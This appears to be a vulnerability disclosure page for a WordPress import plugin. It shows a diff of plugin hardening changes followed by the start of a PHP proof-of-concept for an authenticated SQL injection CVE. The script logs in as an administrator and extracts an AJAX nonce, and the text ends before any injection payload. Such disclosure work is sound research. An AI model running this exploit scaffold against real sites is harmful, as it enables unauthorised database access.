-		exit( json_encode(array('result' => array(), 'failed_msgs' => array(__('Security check', 'wp_all_import_plugin')))));
+		exit( json_encode(array('result' => array(), 'failed_msgs' => array(__('Security check', 'wp-all-import')))));
 	}

 	if ( ! current_user_can( PMXI_Plugin::$capabilities ) ){
-		exit( json_encode(array('result' => array(), 'failed_msgs' => array(__('Security check', 'wp_all_import_plugin')))));
+		exit( json_encode(array('result' => array(), 'failed_msgs' => array(__('Security check', 'wp-all-import')))));
 	}

 	$input = new PMXI_Input();
@@ -27,9 +28,11 @@

 	$failed_msgs = array();

+	// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_is_writable
 	if ( ! @is_writable($targetDir) )
 	{
-		$failed_msgs[] = sprintf(__('Uploads folder `%s` is not writable.', 'wp_all_import_plugin'), $targetDir);
+		/* translators: see placeholders in the string below */
+		$failed_msgs[] = sprintf(__('Uploads folder `%s` is not writable.', 'wp-all-import'), $targetDir);
 	}
 	else
 	{
@@ -43,28 +46,33 @@
 					foreach ($post['imgs'] as $img)
 					{
 						if ( preg_match('%^(http|https|ftp|ftps)%i', $img)){
-							$failed_msgs[] = sprintf(__('Use image name instead of URL `%s`.', 'wp_all_import_plugin'), esc_url($img));
+							/* translators: see placeholders in the string below */
+							$failed_msgs[] = sprintf(__('Use image name instead of URL `%s`.', 'wp-all-import'), esc_url($img));
 							continue;
 						}
 						if ( @file_exists($imgs_basedir . $img) ){
 							if (@is_readable($imgs_basedir . $img)){
 								$success_images++;
 							} else{
-								$failed_msgs[] = sprintf(__('File `%s` isn't readable', 'wp_all_import_plugin'), preg_replace('%.*/wp-content%', '/wp-content', esc_attr($imgs_basedir . $img)));
+								/* translators: see placeholders in the string below */
+								$failed_msgs[] = sprintf(__('File `%s` isn't readable', 'wp-all-import'), preg_replace('%.*/wp-content%', '/wp-content', esc_attr($imgs_basedir . $img)));
 							}
 						}
 						else{
-							$failed_msgs[] = sprintf(__('File `%s` doesn't exist', 'wp_all_import_plugin'), preg_replace('%.*/wp-content%', '/wp-content', esc_attr($imgs_basedir . $img)));
+							/* translators: see placeholders in the string below */
+							$failed_msgs[] = sprintf(__('File `%s` doesn't exist', 'wp-all-import'), preg_replace('%.*/wp-content%', '/wp-content', esc_attr($imgs_basedir . $img)));
 						}
 					}
 				}
 				if ((int)$success_images === 1)
 				{
-					$success_msg = sprintf(__('%d image was successfully retrieved from `%s`', 'wp_all_import_plugin'), intval($success_images), preg_replace('%.*/wp-content%', '/wp-content', esc_attr($wp_uploads['basedir']) . DIRECTORY_SEPARATOR . PMXI_Plugin::FILES_DIRECTORY));
+					/* translators: see placeholders in the string below */
+					$success_msg = sprintf(__('%1$d image was successfully retrieved from `%2$s`', 'wp-all-import'), intval($success_images), preg_replace('%.*/wp-content%', '/wp-content', esc_attr($wp_uploads['basedir']) . DIRECTORY_SEPARATOR . PMXI_Plugin::FILES_DIRECTORY));
 				}
 				elseif ((int)$success_images > 1)
 				{
-					$success_msg = sprintf(__('%d images were successfully retrieved from `%s`', 'wp_all_import_plugin'), intval($success_images), preg_replace('%.*/wp-content%', '/wp-content', esc_attr($wp_uploads['basedir']) . DIRECTORY_SEPARATOR . PMXI_Plugin::FILES_DIRECTORY));
+					/* translators: see placeholders in the string below */
+					$success_msg = sprintf(__('%1$d images were successfully retrieved from `%2$s`', 'wp-all-import'), intval($success_images), preg_replace('%.*/wp-content%', '/wp-content', esc_attr($wp_uploads['basedir']) . DIRECTORY_SEPARATOR . PMXI_Plugin::FILES_DIRECTORY));
 				}

 				break;
@@ -82,6 +90,7 @@
 						$img_ext = pmxi_getExtensionFromStr($img);
 						$default_extension = pmxi_getExtension($bn);

+						// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 						$image_name = apply_filters("wp_all_import_image_filename", urldecode(sanitize_file_name((($img_ext) ? str_replace("." . $default_extension, "", $bn) : $bn))) . (("" != $img_ext) ? '.' . $img_ext : ''));

 						$attch = wp_all_import_get_image_from_gallery($image_name, $targetDir);
@@ -92,18 +101,21 @@
 						}
 						else
 						{
-							$failed_msgs[] = sprintf(__('Image `%s` not found in media library.', 'wp_all_import_plugin'), esc_attr($image_name));
+							/* translators: see placeholders in the string below */
+							$failed_msgs[] = sprintf(__('Image `%s` not found in media library.', 'wp-all-import'), esc_attr($image_name));
 						}
 					}
 				}

 				if ((int)$success_images === 1)
 				{
-					$success_msg = sprintf(__('%d image was successfully found in media gallery', 'wp_all_import_plugin'), intval($success_images));
+					/* translators: see placeholders in the string below */
+					$success_msg = sprintf(__('%d image was successfully found in media gallery', 'wp-all-import'), intval($success_images));
 				}
 				elseif ((int)$success_images > 1)
 				{
-					$success_msg = sprintf(__('%d images were successfully found in media gallery', 'wp_all_import_plugin'), intval($success_images));
+					/* translators: see placeholders in the string below */
+					$success_msg = sprintf(__('%d images were successfully found in media gallery', 'wp-all-import'), intval($success_images));
 				}

 				break;
@@ -117,7 +129,8 @@
 					foreach ($post['imgs'] as $img)
 					{
 						if ( ! preg_match('%^(http|https|ftp|ftps)%i', $img)){
-							$failed_msgs[] = sprintf(__('URL `%s` is not valid.', 'wp_all_import_plugin'), esc_url($img));
+							/* translators: see placeholders in the string below */
+							$failed_msgs[] = sprintf(__('URL `%s` is not valid.', 'wp-all-import'), esc_url($img));
 							continue;
 						}

@@ -132,24 +145,28 @@
 						$get_ctx = stream_context_create(array('http' => array('timeout' => 5)));

 						if ( (is_wp_error($request) or $request === false) and ! @file_put_contents($image_filepath, @file_get_contents($img, false, $get_ctx))) {
-							$failed_msgs[] = (is_wp_error($request)) ? $request->get_error_message() : sprintf(__('File `%s` cannot be saved locally', 'wp_all_import_plugin'), esc_url($img));
+							/* translators: see placeholders in the string below */
+							$failed_msgs[] = (is_wp_error($request)) ? $request->get_error_message() : sprintf(__('File `%s` cannot be saved locally', 'wp-all-import'), esc_url($img));
 						} elseif( ! ($image_info = apply_filters('pmxi_getimagesize', @getimagesize($image_filepath), $image_filepath)) or ! in_array($image_info[2], wp_all_import_supported_image_types())) {
-							$failed_msgs[] = sprintf(__('File `%s` is not a valid image.', 'wp_all_import_plugin'), esc_url($img));
+							/* translators: see placeholders in the string below */
+							$failed_msgs[] = sprintf(__('File `%s` is not a valid image.', 'wp-all-import'), esc_url($img));
 						} else {
 							$success_images++;
 						}
-						@unlink($image_filepath);
+						wp_delete_file($image_filepath);
 					}
 				}
 				$time = time() - $start;

 				if ((int)$success_images === 1)
 				{
-					$success_msg = sprintf(__('%d image was successfully downloaded in %s seconds', 'wp_all_import_plugin'), intval($success_images), number_format($time, 2));
+					/* translators: see placeholders in the string below */
+					$success_msg = sprintf(__('%1$d image was successfully downloaded in %2$s seconds', 'wp-all-import'), intval($success_images), number_format($time, 2));
 				}
 				elseif ((int)$success_images > 1)
 				{
-					$success_msg = sprintf(__('%d images were successfully downloaded in %s seconds', 'wp_all_import_plugin'), intval($success_images), number_format($time, 2));
+					/* translators: see placeholders in the string below */
+					$success_msg = sprintf(__('%1$d images were successfully downloaded in %2$s seconds', 'wp-all-import'), intval($success_images), number_format($time, 2));
 				}

 				break;
--- a/wp-all-import/actions/wp_ajax_wpai_dismiss_review_modal.php
+++ b/wp-all-import/actions/wp_ajax_wpai_dismiss_review_modal.php
@@ -1,13 +1,14 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wp_ajax_wpai_dismiss_review_modal(){

 	if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){
-		exit( json_encode(array('html' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('html' => __('Security check', 'wp-all-import'))) );
 	}

 	if ( ! current_user_can( PMXI_Plugin::$capabilities ) ){
-		exit( json_encode(array('html' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('html' => __('Security check', 'wp-all-import'))) );
 	}

 	$reviewLogic = new WpaiReviewsReviewLogic();
--- a/wp-all-import/actions/wp_ajax_wpai_send_feedback.php
+++ b/wp-all-import/actions/wp_ajax_wpai_send_feedback.php
@@ -1,13 +1,14 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wp_ajax_wpai_send_feedback(){

 	if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){
-		exit( json_encode(array('html' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('html' => __('Security check', 'wp-all-import'))) );
 	}

 	if ( ! current_user_can( PMXI_Plugin::$capabilities ) ){
-		exit( json_encode(array('html' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('html' => __('Security check', 'wp-all-import'))) );
 	}

 	$reviewLogic = new WpaiReviewsReviewLogic();
--- a/wp-all-import/actions/wpmu_new_blog.php
+++ b/wp-all-import/actions/wpmu_new_blog.php
@@ -1,5 +1,6 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wpmu_new_blog($blog_id, $user_id, $domain, $path, $site_id, $meta)
 {
 	// create/update required database tables
@@ -18,7 +19,7 @@
 		// sync data between plugin tables and wordpress (mostly for the case when plugin is reactivated)

 		$post = new PMXI_Post_Record();
-		$wpdb->query('DELETE FROM ' . $post->getTable() . ' WHERE post_id NOT IN (SELECT ID FROM ' . $wpdb->posts . ')');
+		$wpdb->query('DELETE FROM ' . $post->getTable() . ' WHERE post_id NOT IN (SELECT ID FROM ' . $wpdb->posts . ')'); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,PluginCheck.Security.DirectDB.UnescapedDBParameter

         switch_to_blog($old_blog);
         return;
--- a/wp-all-import/addon-api/autoload.php
+++ b/wp-all-import/addon-api/autoload.php
@@ -0,0 +1,49 @@
+<?php
+
+namespace WpaiAddonAPI;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+require WP_ALL_IMPORT_ROOT_DIR . '/addon-api/classes/helpers.php';
+
+class PMXI_Addon_Autoloader {
+    use Singleton;
+
+    public function __construct() {
+        spl_autoload_register([$this, 'autoload']);
+
+        foreach ($this->modules() as $module) {
+            $module::getInstance();
+        }
+    }
+
+    public function modules() {
+        return [PMXI_Addon_Admin::class, PMXI_Addon_Rest::class];
+    }
+
+    public function loadIfFound(string $path) {
+        $path = WP_ALL_IMPORT_ROOT_DIR . '/addon-api/' . $path . '.php';
+
+        if (file_exists($path)) {
+            require_once $path;
+        }
+    }
+
+    public function autoload($class) {
+		if ( strpos( $class, 'PMXI_Addon_' ) === false ) {
+			return;
+		}
+
+        $parts = explode('\', $class);
+        $className = end($parts);
+        $className = str_replace('PMXI_Addon_', '', $className);
+        $className = str_replace('_', '-', $className);
+        $className = strtolower($className);
+        $className = str_replace('-field', '', $className); // E.g. Rename "text-field" to "text"
+
+        $this->loadIfFound('classes/' . $className);
+        $this->loadIfFound('fields/' . $className);
+    }
+}
+
+PMXI_Addon_Autoloader::getInstance();
--- a/wp-all-import/addon-api/classes/admin.php
+++ b/wp-all-import/addon-api/classes/admin.php
@@ -0,0 +1,117 @@
+<?php
+namespace WpaiAddonAPI;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+class PMXI_Addon_Admin {
+    use Singleton;
+
+    public string $url = WP_ALL_IMPORT_ROOT_URL . '/addon-api';
+
+    public function __construct() {
+        add_action( 'pmxi_extend_options_custom_fields', [ $this, 'render' ], 10, 2 );
+        add_action( 'pmxi_reimport', [ $this, 'renderUpdateScreen' ], 10, 2 );
+        add_action( 'pmxi_confirm_data_to_import', [ $this, 'renderConfirmDataToImport' ], 10, 2 );
+
+        add_action( 'admin_enqueue_scripts', [ $this, 'enqueue' ] );
+        add_filter( 'script_loader_tag', [ $this, 'add_type_attribute' ], 10, 3 );
+    }
+
+    public function enqueue() {
+        // Loaded as an ES module; a stray module on unrelated admin pages
+        // invalidates WordPress core's import map in Firefox (strict ordering),
+        // breaking screens such as the WP 7.0 Connectors page. Only load it on
+        // WP All Import's own pages, where it is used.
+        if ( ! $this->is_wp_all_import_page() ) {
+            return;
+        }
+
+        wp_enqueue_script( 'pmxi-datepicker', $this->url . '/static/vendor/air-datepicker/air-datepicker.min.js', array(), PMXI_VERSION, true );
+        wp_enqueue_style( 'pmxi-datepicker', $this->url . '/static/vendor/air-datepicker/air-datepicker.min.css', array(), PMXI_VERSION );
+
+        wp_enqueue_style( 'pmxi-addon-admin-style', $this->url . '/static/css/admin.css', array(), PMXI_VERSION );
+        wp_enqueue_script( 'pmxi-addon-admin-script', $this->url . '/static/js/admin.js', array(), PMXI_VERSION, true );
+        wp_localize_script( 'pmxi-addon-admin-script', 'pmxiAddon', [
+            'ajaxUrl' => get_rest_url( null, 'wp-all-import/v1/addon/fields' ),
+        ] );
+    }
+
+    private function is_wp_all_import_page(): bool {
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        if ( empty( $_GET['page'] ) || ! is_string( $_GET['page'] ) ) {
+            return false;
+        }
+
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        return strpos( sanitize_key( wp_unslash( $_GET['page'] ) ), 'pmxi-' ) === 0;
+    }
+
+    public function add_type_attribute( $tag, $handle, $src ) {
+        if ( 'pmxi-addon-admin-script' !== $handle ) {
+            return $tag;
+        }
+        $tag = str_replace( ' src', ' type="module" src', $tag );
+
+        return $tag;
+    }
+
+    /**
+     * Render something on the import page
+     *
+     * @param string $type
+     * @param array $importOptions
+     *
+     * @return void
+     */
+    public function render( string $type, array $importOptions ) {
+        $subtype = $importOptions['taxonomy_type'];
+        $addons  = PMXI_Addon_Manager::get_addons();
+
+        if ( empty( $addons ) ) {
+            return;
+        }
+
+        foreach ( $addons as $addon ) {
+            $view = PMXI_Addon_View::create( $addon->slug, $type, $subtype );
+            $view->renderTabs( $importOptions );
+        }
+    }
+
+    /**
+     * Render the update screen
+     *
+     * @param string $type
+     * @param array $importOptions
+     *
+     * @return void
+     */
+
+    public function renderUpdateScreen( string $type, array $importOptions ) {
+        $subtype = $importOptions['taxonomy_type'];
+        $addons  = PMXI_Addon_Manager::get_addons();
+
+        if ( empty( $addons ) ) {
+            return;
+        }
+
+        foreach ( $addons as $addon ) {
+            $view = PMXI_Addon_View::create( $addon->slug, $type, $subtype );
+            $view->renderUpdate( $importOptions );
+        }
+    }
+
+    public function renderConfirmDataToImport( bool $isWizard, array $importOptions ) {
+        $type    = $importOptions['custom_type'];
+        $subtype = $importOptions['taxonomy_type'];
+        $addons  = PMXI_Addon_Manager::get_addons();
+
+        if ( empty( $addons ) ) {
+            return;
+        }
+
+        foreach ( $addons as $addon ) {
+            $view = PMXI_Addon_View::create( $addon->slug, $type, $subtype );
+            $view->renderConfirmDataToImport( $importOptions );
+        }
+    }
+}
--- a/wp-all-import/addon-api/classes/base.php
+++ b/wp-all-import/addon-api/classes/base.php
@@ -0,0 +1,528 @@
+<?php
+namespace WpaiAddonAPI;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+abstract class PMXI_Addon_Base {
+    use HasError, HasRegistration;
+
+    public PMXI_Addon_Importer $importer;
+
+    public $slug = 'not-implemented'; // Must be implemented by end-user
+    public $version = '0.0.0'; // Must be implemented by end-user
+    public $rootDir = ''; // Must be implemented by end-user
+
+    // Extra fields created by the addon
+    public $fields = [];
+
+    // Cast values to something else without having to create a custom field
+    public $casts = [];
+
+    // Add tooltips to fields
+    public $hints = [];
+
+    // Getters
+    abstract public function name(): string;
+
+    abstract public function description(): string;
+
+    public function __construct() {
+        $this->preflight();
+        $this->registerAsAddon();
+
+        $this->importer = PMXI_Addon_Importer::from( $this );
+        $this->initEed();
+
+		add_action('init', function() {
+			$this->hints = [
+				'time'        => __( 'Use any format supported by the PHP strtotime function.', 'wp-all-import' ),
+				'date'        => __( 'Use any format supported by the PHP strtotime function.', 'wp-all-import' ),
+				'datetime'    => __( 'Use any format supported by the PHP strtotime function.', 'wp-all-import' ),
+				'iconpicker'  => __( 'Specify the icon class name - e.g. fa-user.', 'wp-all-import' ),
+				'colorpicker' => __( 'Specify the hex code the color preceded with a # - e.g. #ea5f1a.', 'wp-all-import' ),
+				'media'       => __( 'Specify the URL to the image or file.', 'wp-all-import' ),
+				'post'        => __( 'Enter the ID, slug, or Title. Separate multiple entries with separator character.', 'wp-all-import' ),
+				'user'        => __( 'Enter the ID, username, or email for the existing user.', 'wp-all-import' ),
+				'map'         => __( 'WP All Import will first try to get your Google Maps API key from the add-on you're using. If that fails you must enter the key under 'Google Maps Settings' below.', 'wp-all-import' )
+			];
+		});
+
+        add_filter( 'wp_all_import_addon_parse', [ $this, 'registerParseFunction' ] );
+        add_filter( 'wp_all_import_addon_import', [ $this, 'registerImportFunction' ] );
+        add_filter( 'wp_all_import_addon_saved_post', [ $this, 'registerPostSavedFunction' ] );
+        add_filter( 'pmxi_custom_types', [ $this, 'registerCustomTypes' ], 2, 5 );
+        add_filter( 'pmxi_options_options', [ $this, 'registerDefaultOptions' ] );
+        add_filter( 'pmxi_save_options', [ $this, 'updateOptions' ] );
+        add_filter( 'pmxi_custom_field_to_delete', [ $this, 'canDeleteField' ], 99, 5 );
+        add_filter( 'pmxi_visible_template_sections', [ $this, 'getVisibleSections' ], 99, 2 );
+        add_filter( 'pmxi_hidden_data_to_update_options', [ $this, 'getHiddenChooseDataToUpdateOptions' ], 99, 2 );
+	    add_filter( 'pmxi_disabled_delete_missing_options', [ $this, 'getDisabledDeleteMissingOptions' ], 99, 2 );
+	    add_filter( 'pmxi_hidden_delete_missing_options', [ $this, 'getHiddenDeleteMissingOptions' ], 99, 2 );
+	    add_filter( 'pmxi_status_of_removed_options', [ $this, 'getStatusOfRemovedOptions' ], 99, 2 );
+        add_filter( 'pmxi_fire_hooks', [ $this, 'shouldFirePostHooks' ], 10, 2 );
+        add_filter( 'pmxi_types_current_type_supports_title', [ $this, 'supportsTitle' ], 99, 2 );
+    }
+
+    /**
+     * Path to the plugin file relative to the plugins directory.
+     */
+    public function getPluginPath() {
+        return $this->rootDir . '/plugin.php';
+    }
+
+    /**
+     * Do stuff before the plugin is activated
+     *
+     * @return void
+     */
+    public function preflight() {
+        $results = $this->canRun();
+
+        if ( is_wp_error( $results ) ) {
+            $this->showErrorAndDeactivate( $results->get_error_message() );
+        }
+    }
+
+    /**
+     * Determine if the addon can be used for the current import type.
+     *
+     * @param string $importType
+     * @param $options
+     *
+     * @return bool
+     */
+    public function isAvailableForType( string $importType, $options ) {
+        $customTypes = array_keys($this->getCustomTypes());
+        $types       = $this->availableForTypes();
+
+        $unprefixedTypes = array_values( array_filter( $types, fn( $type ) => $type[0] !== '-' ) );
+        // If the type is prefixed with a dash, it means the addon not available for it
+        $shouldSkip = in_array( '-' . $importType, $types );
+
+
+        if ( in_array( $importType, $customTypes ) ) {
+            return true;
+        }
+
+        if ( $importType === 'taxonomies' ) {
+            $taxonomy = $options['taxonomy_type'];
+
+            return count( $unprefixedTypes ) === 0 || in_array( 'taxonomy:' . $taxonomy, $types ) || in_array( 'taxonomies', $types );
+        }
+
+        if ( $shouldSkip ) {
+            return false;
+        }
+
+        return count( $unprefixedTypes ) === 0 || in_array( $importType, $types );
+    }
+
+    /**
+     * Provide an interface for developers to create custom importers for Non-WordPress data.
+     *
+     * @param $options
+     *
+     * @return class-string<PMXI_Addon_Importer>|null
+     */
+    public function getCustomImporter( $options ) {
+        return null;
+    }
+
+    /**
+     * List of post types and taxonomies the plugin is available for.
+     * Leave empty to make it available for all post types.
+     *
+     * @return string[]
+     */
+    public function availableForTypes() {
+        return [];
+    }
+
+    /**
+     * Was this import type created by this addon?
+     *
+     * @param string $importType
+     * @param $options
+     *
+     * @return bool
+     */
+    public function ownsImportType( string $importType, $options ) {
+        $types = array_keys( $this->getCustomTypes() );
+        return in_array( $importType, $types );
+    }
+
+    /**
+     * Register Custom Types that are not part of WordPress core.
+     * - This is useful for plugins that have their own data structures.
+     * - Prefix the key with the plugin slug to avoid conflicts.
+     *
+     * @return string[]
+     */
+    public function getCustomTypes() {
+        return [];
+    }
+
+    /**
+     * The function called by the add_filter hook.
+     *
+     * @return string[]
+     */
+    public function registerCustomTypes( $types, $section ) {
+        return array_merge( $types, $this->getCustomTypes() );
+    }
+
+    /**
+     * Show or hide sections based on the import type.
+     *
+     * @param $sections
+     * @param $type
+     *
+     * @return mixed
+     */
+    public function getVisibleSections( $sections, $type ) {
+        return $sections;
+    }
+
+    /**
+     * Show or hide sections based on the import type in "Choose Which Data to Update" options.
+     *
+     * @param $options
+     * @param $type
+     *
+     * @return mixed
+     */
+    public function getHiddenChooseDataToUpdateOptions( $options, $type ) {
+        return $options;
+    }
+
+	/**
+	 * Enable or Disable delete sections based on the import type in "What do you want to do with those..." options.
+	 *
+	 * @param $options
+	 * @param $type
+	 *
+	 * @return mixed
+	 */
+	public function getDisabledDeleteMissingOptions( $options, $type ) {
+		return $options;
+	}
+
+	/**
+	 * Show or hide delete sections based on the import type in "What do you want to do with those..." options.
+	 *
+	 * @param $options
+	 * @param $type
+	 *
+	 * @return mixed
+	 */
+	public function getHiddenDeleteMissingOptions( $options, $type ) {
+		return $options;
+	}
+
+	/**
+	 * Modify statuses based on the import type in "Change status of removed...".
+	 *
+	 * @param $options
+	 * @param $type
+	 *
+	 * @return mixed
+	 */
+	public function getStatusOfRemovedOptions( $options, $type ) {
+		return $options;
+	}
+
+    /**
+     * Decide if we should fire important hooks after custom fields are added.
+     * This is only applicable custom post type.
+     *
+     * @param bool $should_fire
+     * @param string $type
+     *
+     * @return bool
+     */
+    public function shouldFirePostHooks( bool $should_fire, string $type ) {
+        return $should_fire;
+    }
+
+    /**
+     * Determine if the import type supports a title field.
+     *
+     * @param bool $supports
+     * @param string $type
+     *
+     * @return bool
+     */
+    public function supportsTitle(bool $supports, string $type) {
+        return $supports;
+    }
+
+    /**
+     * @return true
+     */
+    public function isAccordionClosed(string $type, ?string $subtype = null) {
+        return true;
+    }
+
+    /**
+     * Allow addons to initialize their own EED classes. Empty by default.
+     *
+     * @return void
+     */
+    public function initEed() {}
+
+    /**
+     * Determine if the plugin can run on the current site otherwise disable it.
+     *
+     * @return bool|WP_Error
+     */
+    abstract public function canRun();
+
+    /**
+     * Get fields by import type (post, term, user, etc.) and taxonomy (if applicable)
+     *
+     * @param string $type
+     * @param string|null $subtype
+     *
+     * @return mixed
+     */
+    abstract public static function fields( string $type, ?string $subtype = null );
+
+    /**
+     * Get groups by import type (post, term, user, etc.) and taxonomy (if applicable)
+     *
+     * @param string $type
+     * @param string|null $subtype
+     *
+     * @return mixed
+     */
+    abstract public static function groups( string $type, ?string $subtype = null );
+
+    /**
+     * Import fields to the database
+     */
+    abstract public static function import(
+        int   $id,
+        array $fields,
+        array $values,
+        PMXI_Import_Record $record,
+        array $post,
+        $logger
+    );
+
+    /**
+     * Potentially change the class of a field at runtime
+     *
+     * @param array $field
+     * @param class-string<PMXI_Addon_Field> $class
+     */
+    public function resolveFieldClass( $field, $class ) {
+        return $class;
+    }
+
+    /**
+     * Internal method to simplify the import function for end-users.
+     *
+     * @param array $importData
+     * @param array $parsedData
+     */
+    public function transformImport( array $importData, array $parsedData ) {
+        $params = $this->importer->simplify( $importData, $parsedData );
+        if ( ! $params ) {
+            return;
+        }
+        call_user_func_array( [ $this, 'import' ], $params );
+    }
+
+    /**
+     * Parse the data from the XML file
+     *
+     * @param array $data
+     *
+     * @return array
+     */
+    public function parse( array $data ) {
+        $type     = $data['import']->options['custom_type'];
+        $subtype  = $data['import']->options['taxonomy_type'];
+        $defaults = $this->importer->defaults( $type, $subtype );
+
+        return PMXI_Addon_Parser::from( $this, $data, $defaults );
+    }
+
+    /**
+     * Called after the post has been saved
+     */
+    public function postSaved( array $importData ) {
+    }
+
+    public function defaultOptions( string $type, ?string $subtype = null ) {
+        return $this->importer->defaults( $type, $subtype );
+    }
+
+    public function defaultUpdateOptions() {
+        return [
+            'is_update'          => true,
+            'update_logic'       => 'full_update',
+            'fields_list'        => [],
+            'fields_only_list'   => [],
+            'fields_except_list' => [],
+        ];
+    }
+
+    public function updateOptions( $options ) {
+        if ( ! isset( $options['update_addons'][ $this->slug ] ) ) {
+            return $options;
+        }
+
+        $post = $options['update_addons'][ $this->slug ];
+
+        if ( $post['update_logic'] === 'only' && ! empty( $post['fields_only_list'] ) ) {
+            $post['fields_list'] = explode( ",", $post['fields_only_list'] );
+        } elseif ( $post['update_logic'] == 'all_except' && ! empty( $post['fields_except_list'] ) ) {
+            $post['fields_list'] = explode( ",", $post['fields_except_list'] );
+        }
+
+        $options['update_addons'][ $this->slug ] = $post;
+
+        return $options;
+    }
+
+    /**
+     * @param bool $field_to_delete
+     * @param int $pid
+     * @param string $post_type
+     * @param array $options
+     * @param string $cur_meta_key
+     *
+     * @return bool
+     */
+    public function canDeleteField( $field_to_delete, $pid, $post_type, $options, $cur_meta_key ) {
+        $type    = $options['custom_type'];
+        $subtype = $options['taxonomy_type'];
+        $data    = $options[ $this->slug ] ?? null;
+        $groups  = $options[ $this->slug . '_groups' ] ?? [];
+
+        $fields = $this->getImportFields( $type, $subtype, $groups, $data );
+        $field  = $this->getFieldByKey( $fields, $cur_meta_key );
+
+        if ( ! $field ) {
+            return apply_filters( "pmxi_is_{$this->slug}_update_allowed", $field_to_delete, $cur_meta_key, $options );
+        }
+
+        $canDelete = $this->importer->canDeleteField( $field, $options );
+
+        return apply_filters( "pmxi_is_{$this->slug}_update_allowed", $canDelete, $cur_meta_key, $options );
+    }
+
+    public function getImportFields( $type, $subtype, $groups, $data ) {
+        // Filter out fields that don't exist in the parsed data
+        $fields = array_filter(
+            $this->fields( $type, $subtype ),
+            fn( $field ) => isset( $data[ $field['key'] ] )
+        );
+
+        // Filter out fields from disabled groups
+        $fields = array_filter(
+            $fields,
+            fn( $field ) => in_array( $field['group'], $groups )
+        );
+
+        return array_values( $fields );
+    }
+
+    // Fields and groups helpers
+
+    public function getFieldByKey( $fields, $key ) {
+        $index = array_column( $fields, 'key' );
+        $map   = array_flip( $index );
+
+        return $fields[ $map[ $key ] ?? null ] ?? null;
+    }
+
+    /**
+     * @param string $groupId
+     * @param string $type
+     * @param string|null $subtype
+     *
+     * @return array
+     */
+    public static function getFieldsByGroup( string $groupId, string $type, ?string $subtype = null ) {
+        return pipe( static::fields( $type, $subtype ), [
+            fn( $fields ) => array_filter( $fields, fn( $field ) => $field['group'] === $groupId ),
+            fn( $fields ) => array_values( $fields )
+        ] );
+    }
+
+    public static function getGroupById( string $groupId, string $type, ?string $subtype = null ) {
+        return pipe( static::groups( $type, $subtype ), [
+            fn( $groups ) => array_filter( $groups, fn( $group ) => $group['id'] === $groupId ),
+            fn( $groups ) => array_values( $groups )[0]
+        ] );
+    }
+}
+
+trait HasRegistration {
+    // Todo: Maybe refactor this by using the PMXI_Admin_Addons class
+    public function registerAsAddon() {
+        add_filter(
+            'pmxi_new_addons'

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57628 - WP All Import – Drag & Drop Import for CSV, XML, Excel & Google Sheets <= 4.0.1 - Authenticated (Administrator+) SQL Injection

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$admin_username = 'admin';
$admin_password = 'password';

// Step 1: Authenticate as admin
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $admin_username,
    'pwd' => $admin_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Fetch the admin page to obtain the AJAX nonce
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract the wp_all_import_secure nonce from the page
preg_match('/"wp_all_import_secure":"([a-f0-9]+)"/', $admin_page, $matches);
if (!isset($matches[1])) {
    // Fallback: try to extract from any inline script
    preg_match('/var wp_all_import_security = "([^"]+)"/', $admin_page, $matches);
}
if (!isset($matches[1])) {
    die('Unable to extract AJAX nonce. Check credentials or site accessibility.');
}
$nonce = $matches[1];
echo "[+] Nonce extracted: $noncen";
